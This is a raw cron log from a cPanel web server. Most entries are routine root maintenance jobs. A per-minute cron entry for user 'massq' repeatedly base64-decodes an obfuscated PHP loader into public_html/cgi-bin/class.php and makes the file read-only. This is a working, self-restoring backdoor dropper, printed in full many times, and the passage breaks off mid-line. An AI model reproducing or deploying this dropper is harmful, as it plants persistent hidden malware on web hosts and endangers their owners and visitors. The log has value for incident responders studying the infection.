Apr  7 23:35:01 server CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:35:01 server CROND[5199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:35:01 server CROND[5197]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 23:35:01 server CROND[5200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:35:01 server CROND[5202]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 23:36:01 server CROND[5320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:37:01 server CROND[5391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:38:01 server CROND[5465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:39:01 server CROND[5527]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 23:39:01 server CROND[5526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:40:01 server CROND[5690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:40:01 server CROND[5692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:40:01 server CROND[5693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:40:01 server CROND[5694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:41:01 server CROND[5808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:42:01 server CROND[5873]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 23:42:01 server CROND[5874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:43:01 server CROND[5953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:44:01 server CROND[6020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:45:02 server CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:45:02 server CROND[6186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:45:02 server CROND[6187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:46:01 server CROND[6315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:47:01 server CROND[6379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:48:01 server CROND[6439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH